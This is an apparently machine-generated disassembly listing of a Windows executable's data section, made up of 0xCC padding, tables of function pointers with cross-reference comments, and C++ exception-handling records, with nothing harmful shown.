db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ',0
align 4
dd 3E3h dup(0)
off_43E000 dd offset sub_4017C6 ; DATA XREF: sub_4036D0+3FEo
off_43E004 dd offset byte_4367D0 ; DATA XREF: sub_403C70+2o
off_43E008 dd offset off_402009 ; DATA XREF: sub_406BA0+2o sub_406C00o
off_43E00C dd offset sub_4021F8 ; DATA XREF: sub_407030+45o
off_43E010 dd offset loc_402171 ; DATA XREF: sub_409AE0+4o
; sub_409B40+Bo ...
off_43E014 dd offset loc_402027 ; DATA XREF: sub_40ADC0+2o
; sub_40AE10+1Co
dd offset byte_4367D0
align 10h
off_43E020 dd offset loc_401ACD ; DATA XREF: sub_40B0B0+68o
; sub_40B170+1Eo
flt_43E024 dd 1.0 ; DATA XREF: ___:0040B7C6r
off_43E028 dd offset sub_401A3C ; DATA XREF: sub_40F600+157o
; sub_40FDA0+1Do
dd offset sub_40212B
dd 0
off_43E034 dd offset sub_401AB9 ; DATA XREF: sub_40F600+142o
; sub_40FDA0+23o
off_43E038 dd offset loc_40115E ; DATA XREF: sub_411860+36o
; sub_411910+1Do
dd offset loc_401FE6
dd 0
off_43E044 dd offset sub_4014BF ; DATA XREF: sub_413120+6Do
; sub_413220+1Fo
dd offset sub_401CF8
align 10h
off_43E050 dd offset sub_4019BF ; DATA XREF: sub_416C00+6o
; sub_417DF0+8o
dd offset sub_4020A9
dd 0
off_43E05C dd offset loc_401C99 ; DATA XREF: sub_416C60+6o
; sub_417E20+8o
dd offset sub_401230
align 8
off_43E068 dd offset loc_40191A ; DATA XREF: sub_416CC0o sub_41FBD0+8o
dd offset sub_401CDF
dd 0
off_43E074 dd offset sub_40111D ; DATA XREF: sub_416D10o
; sub_4190B0+36o
off_43E078 dd offset loc_4014A1 ; DATA XREF: sub_417BC0+68o
off_43E07C dd offset sub_401064 ; DATA XREF: sub_417C60+8Bo
off_43E080 dd offset sub_40138E ; DATA XREF: sub_417D30+74o
off_43E084 dd offset loc_401B6D ; DATA XREF: sub_417E50+7Bo
off_43E088 dd offset loc_40202C ; DATA XREF: sub_417F10+7Bo
off_43E08C dd offset loc_401F1E ; DATA XREF: sub_417FD0+3Eo
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS KEYPAD "+" TO EXPAND]
db 1Fh, 40h, 0
off_43E094 dd offset loc_401FD7 ; DATA XREF: sub_418080+3Eo
off_43E098 dd offset sub_401E4C ; DATA XREF: sub_418100+3Eo
off_43E09C dd offset loc_40100A ; DATA XREF: sub_418180+10o
off_43E0A0 dd offset loc_4010B4 ; DATA XREF: sub_4181B0+4Bo
off_43E0A4 dd offset sub_401BA4 ; DATA XREF: sub_418230+10o
off_43E0A8 dd offset sub_401712 ; DATA XREF: sub_418260+10o
off_43E0AC dd offset sub_401613 ; DATA XREF: sub_418290+6Bo
dbl_43E0B0 dq -3.0517578125e-5 ; DATA XREF: sub_4198C0+22r
dd 0
off_43E0BC dd offset sub_401AF5 ; DATA XREF: sub_41A010+Bo
; sub_41A110+6o
off_43E0C0 dd offset sub_401E74 ; DATA XREF: sub_41AFE0+Do sub_41B040o
off_43E0C4 dd offset sub_4013FC ; DATA XREF: ___:0041B3A2o
; ___:0041B48Do
dd offset sub_40167C
align 10h
off_43E0D0 dd offset loc_4019E7 ; DATA XREF: sub_41D670+77o
; sub_41D760+1Do
dd offset sub_401C80
dd 0
off_43E0DC dd offset sub_4011FE ; DATA XREF: sub_426450+32o
dd offset sub_401A64
dd offset sub_401A41
dd 0
off_43E0EC dd offset loc_4016D1 ; DATA XREF: sub_4264C0+6Ao
; sub_426560+1Do
dd offset sub_401A64
dd offset byte_4367D0
dd 0
off_43E0FC dd offset loc_401AAF ; DATA XREF: sub_4269A0+32o
dd offset sub_401A64
dd offset sub_401366
dd 0
off_43E10C dd offset sub_40181B ; DATA XREF: sub_426EB0+32o
dd offset sub_401A64
dd offset sub_401E92
dd 0
off_43E11C dd offset sub_40222A ; DATA XREF: sub_427590+32o
dd offset sub_401A64
dd offset sub_401A05
dd 0
off_43E12C dd offset sub_401C2B ; DATA XREF: sub_427DC0+32o
dd offset sub_4021A8
dd offset sub_4015AF
dd 0
off_43E13C dd offset loc_402068 ; DATA XREF: sub_427E30+7Ao
; sub_427EF0+1Do
dd offset sub_4021A8
dd offset byte_4367D0
dd 0
off_43E14C dd offset loc_4021B2 ; DATA XREF: sub_428160+4Bo
; sub_428250+10o
dd offset sub_4021A8
dd offset sub_401D2A
dd 0
off_43E15C dd offset loc_40112C ; DATA XREF: sub_4299C0+32o
; sub_429A60+9o
dd offset sub_4021A8
dd offset sub_40137A
dd 0
off_43E16C dd offset loc_401B04 ; DATA XREF: sub_429D00+32o
dd offset sub_4021A8
dd offset sub_4010AF
dd 0
off_43E17C dd offset sub_4017A8 ; DATA XREF: sub_42A090+32o
dd offset sub_4021A8
dd offset sub_40188E
dd 0
off_43E18C dd offset sub_4020D1 ; DATA XREF: sub_42B1D0+27o
dword_43E190 dd 0 dd 8, 0
off_43E19C dd offset byte_4367D0 ; DATA XREF: sub_42B240+39o
off_43E1A0 dd offset sub_401F41 ; DATA XREF: ___:0042B312o
dd offset sub_4021A8
dd offset sub_40134D
align 10h
off_43E1B0 dd offset sub_401B22 ; DATA XREF: sub_42B480+32o
dd offset sub_4021A8
dd offset sub_40152D
align 10h
off_43E1C0 dd offset loc_4015F0 ; DATA XREF: sub_42B7C0+32o
dd offset sub_4021A8
dd offset sub_4019E2
align 10h
dd offset dword_43E348
off_43E1D4 dd offset dword_436800+11h ; DATA XREF: ___:off_4438B0o
; ___:off_4438D0o ...
dd 0FFFFFFFFh, 436BACh, 436BC0h, 4Dh dup(0)
off_43E318 dd offset off_446CD0 ; DATA XREF: ___:0043E330o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_43E318
dd 0
db 0 ; DATA XREF: ___:0043E358o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 1, 43E330h
dword_43E348 dd 3 dup(0) dd offset off_446CD0
dd offset unk_43E338
dd 45h dup(0)
dword_43E470 dd 19930520h, 5, 43E490h, 5 dup(0) dd 0FFFFFFFFh, 437B2Ch, 0
dd offset dword_436FD0+0B30h
dd 1, 437B0Bh, 2, 437B16h, 3, 437B21h, 2 dup(0)
dword_43E4C0 dd 19930520h, 3Dh, 43E4E0h, 5 dup(0) dd 0FFFFFFFFh, 437B70h, 0
dd offset loc_437B7B
dd 1, 437B86h, 2, 437B94h, 3, 437BA2h, 4, 437BB0h, 5, 437BBEh
dd 6, 437BCCh, 7, 437BDAh, 8, 437BE8h, 9, 437BF6h, 0Ah
dd 437C04h, 0Bh, 437C12h, 0Ch, 437C20h, 0Dh, 437C2Eh, 0Eh
dd 437C3Ch, 0Fh, 437C4Ah, 10h, 437C58h, 11h, 437C66h, 12h
dd 437C74h, 13h, 437C82h, 14h, 437C90h, 15h, 437C9Eh, 16h
dd 437CACh, 17h, 437CBAh, 18h, 437CC8h, 19h, 437CD6h, 1Ah
dd 437CE4h, 1Bh, 437CF2h, 1Ch, 437D00h, 1Dh, 437D0Eh, 1Eh
dd 437D1Ch, 1Fh, 437D2Ah, 20h, 437D38h, 21h, 437D46h, 22h
dd 437D54h, 23h, 437D62h, 24h, 437D70h, 25h, 437D7Eh, 26h
dd 437D8Ch, 27h, 437D9Ah, 28h, 437DA8h, 29h, 437DB6h, 2Ah
dd 437DC4h, 2Bh, 437DD2h, 2Ch, 437DE0h, 2Dh, 437DEEh, 2Eh
dd 437DFCh, 2Fh, 437E0Ah, 30h, 437E18h, 31h, 437E26h, 32h
dd 437E34h, 33h, 437E42h, 34h, 437E50h, 35h, 437E5Eh, 36h
dd 437E6Ch, 37h, 437E7Ah, 38h, 437E88h, 39h, 437E96h, 3Ah
dd 437EA4h, 3Bh, 437EB2h, 0Eh dup(0)
dword_43E700 dd 19930520h, 1, 43E720h, 5 dup(0) dd 0FFFFFFFFh, 437FA0h, 2 dup(0)
dword_43E730 dd 19930520h, 2, 43E750h, 5 dup(0) dd 0FFFFFFFFh, 437FC0h, 0
dd offset loc_437FC8
dd 2 dup(0)
dword_43E768 dd 19930520h, 2, 43E788h, 5 dup(0) dd 0FFFFFFFFh, 437FF0h, 0
dd offset loc_437FF8
align 10h
dword_43E7A0 dd 19930520h, 1, 43E7C0h, 5 dup(0) dd 0FFFFFFFFh, 438020h, 2 dup(0)
dword_43E7D0 dd 19930520h, 7, 43E7F0h, 5 dup(0) dd 0FFFFFFFFh, 438040h, 0
dd offset loc_438048
dd 1, 438053h, 2, 438061h, 3, 43806Fh, 4, 43807Dh, 5, 43808Bh
dd 2 dup(0)
dword_43E830 dd 19930520h, 7, 43E850h, 5 dup(0) dd 0FFFFFFFFh, 4380C0h, 0
dd offset loc_4380C8
dd 1, 4380D3h, 2, 4380E1h, 3, 4380EFh, 4, 4380FDh, 5, 43810Bh
dd 2 dup(0)
dword_43E890 dd 19930520h, 11h, 43E8B0h, 5 dup(0) dd 0FFFFFFFFh, 438140h, 0FFFFFFFFh, 438148h, 0FFFFFFFFh
dd 438150h, 0FFFFFFFFh, 438158h, 0FFFFFFFFh, 438160h, 0FFFFFFFFh
dd 438168h, 0FFFFFFFFh, 438170h, 0FFFFFFFFh, 438178h, 0FFFFFFFFh
dd 438180h, 0FFFFFFFFh, 438188h, 0FFFFFFFFh, 438190h, 0FFFFFFFFh
dd 438198h, 0FFFFFFFFh, 4381A0h, 0FFFFFFFFh, 4381A8h, 0FFFFFFFFh
dd 4381B0h, 0Eh, 4381B8h, 0Eh, 4381C0h, 4 dup(0)
dword_43E948 dd 19930520h, 0Bh, 43E968h, 5 dup(0) dd 0FFFFFFFFh, 438200h, 0
dd offset loc_438208
dd 0FFFFFFFFh, 438210h, 2, 438218h, 0FFFFFFFFh, 438220h
dd 0FFFFFFFFh, 438228h, 0FFFFFFFFh, 438230h, 0FFFFFFFFh
dd 438238h, 7, 438243h, 7, 43824Bh, 9, 438253h, 4 dup(0)
dword_43E9D0 dd 19930520h, 31h, 43E9F0h, 5 dup(0) dd 0FFFFFFFFh, 438280h, 0
dd offset loc_43828B
dd 0
dd offset loc_438296
dd 0FFFFFFFFh, 4382A1h, 0FFFFFFFFh, 4382ACh, 4, 4382B7h
dd 0FFFFFFFFh, 4382C2h, 6, 4382CDh, 6, 4382D8h, 8, 4382E3h
dd 0FFFFFFFFh, 4382EEh, 0Ah, 4382F9h, 0Ah, 438304h, 0Ah
dd 43830Fh, 0Ah, 43831Ah, 0Ah, 438325h, 0Ah, 438330h, 0FFFFFFFFh
dd 43833Bh, 11h, 438346h, 11h, 438351h, 0FFFFFFFFh, 43835Ch
dd 0FFFFFFFFh, 438367h, 15h, 438372h, 0FFFFFFFFh, 43837Dh
dd 0FFFFFFFFh, 438388h, 18h, 438393h, 0FFFFFFFFh, 43839Eh
dd 0FFFFFFFFh, 4383A9h, 0FFFFFFFFh, 4383B4h, 0FFFFFFFFh
dd 4383BFh, 1Dh, 4383CAh, 1Dh, 4383D5h, 1Dh, 4383E0h, 1Dh
dd 4383EBh, 1Dh, 4383F6h, 22h, 438401h, 22h, 43840Ch, 22h
dd 438417h, 22h, 438422h, 22h, 43842Dh, 22h, 438438h, 22h
dd 438443h, 22h, 43844Eh, 22h, 438459h, 22h, 438464h, 22h
dd 43846Fh, 22h, 43847Ah, 22h, 438485h, 22h, 438490h, 0Ch dup(0)
dword_43EBA8 dd 19930520h, 2, 43EBC8h, 5 dup(0) dd 0FFFFFFFFh, 438538h, 0
dd offset loc_438530
align 10h
dword_43EBE0 dd 19930520h, 2, 43EC00h, 5 dup(0) dd 0FFFFFFFFh, 43857Bh, 0
dd offset loc_438570
dd 2 dup(0)
dword_43EC18 dd 19930520h, 3, 43EC38h, 5 dup(0) dd 0FFFFFFFFh, 4385B0h, 0
dd offset loc_4385BB
dd 0
dd offset loc_4385C6
dd 2 dup(0)
dword_43EC58 dd 19930520h, 1, 43EC78h, 5 dup(0) dd 0FFFFFFFFh, 4385F0h, 2 dup(0)
dword_43EC88 dd 19930520h, 1, 43ECA8h, 5 dup(0) dd 0FFFFFFFFh, 438610h, 2 dup(0)
dword_43ECB8 dd 19930520h, 2, 43ECD8h, 5 dup(0) dd 0FFFFFFFFh, 438630h, 0
dd offset loc_438638
align 10h
dword_43ECF0 dd 19930520h, 56h, 43ED10h, 5 dup(0) dd 0FFFFFFFFh, 438650h, 0
dd offset loc_43865B
dd 1, 438666h, 2, 438671h, 3, 43867Ch, 4, 438687h, 5, 438692h
dd 6, 43869Dh, 7, 4386A8h, 8, 4386B3h, 9, 4386BBh, 0Ah
dd 4386C3h, 0Bh, 4386CEh, 0Ch, 4386D6h, 0Dh, 4386DEh, 0Eh
dd 4386E9h, 0Fh, 4386F4h, 10h, 4386FFh, 11h, 43870Ah, 12h
dd 438715h, 13h, 438720h, 14h, 43872Bh, 15h, 438736h, 16h
dd 438741h, 17h, 43874Ch, 18h, 438757h, 19h, 438762h, 1Ah
dd 43876Dh, 1Bh, 438778h, 1Ch, 438783h, 1Dh, 43878Eh, 1Eh
dd 438799h, 1Eh, 4387A4h, 1Eh, 4387AFh, 1Eh, 4387BAh, 1Eh
dd 4387C5h, 1Eh, 4387D0h, 1Eh, 4387DBh, 1Eh, 4387E6h, 1Eh
dd 4387F1h, 27h, 4387FCh, 1Eh, 4387FCh, 1Eh, 438807h, 2Ah
dd 438812h, 1Eh, 438812h, 1Eh, 43881Dh, 2Dh, 438828h, 1Eh
dd 438828h, 1Eh, 438833h, 30h, 43883Eh, 1Eh, 43883Eh, 1Eh
dd 438849h, 33h, 438854h, 1Eh, 438854h, 1Eh, 43885Fh, 36h
dd 43886Ah, 1Eh, 43886Ah, 1Eh, 438875h, 39h, 438880h, 1Eh
dd 438880h, 1Eh, 43888Bh, 3Ch, 438896h, 1Eh, 438896h, 1Eh
dd 4388A1h, 3Fh, 4388ACh, 1Eh, 4388ACh, 1Eh, 4388B7h, 42h
dd 4388C2h, 1Eh, 4388C2h, 1Eh, 4388CDh, 45h, 4388D8h, 1Eh
dd 4388D8h, 1Eh, 4388E3h, 48h, 4388EEh, 1Eh, 4388EEh, 1Eh
dd 4388F9h, 4Bh, 438904h, 1Eh, 438904h, 1Eh, 43890Fh, 4Eh
dd 43891Ah, 1Eh, 43891Ah, 1Eh, 438925h, 51h, 438930h, 52h
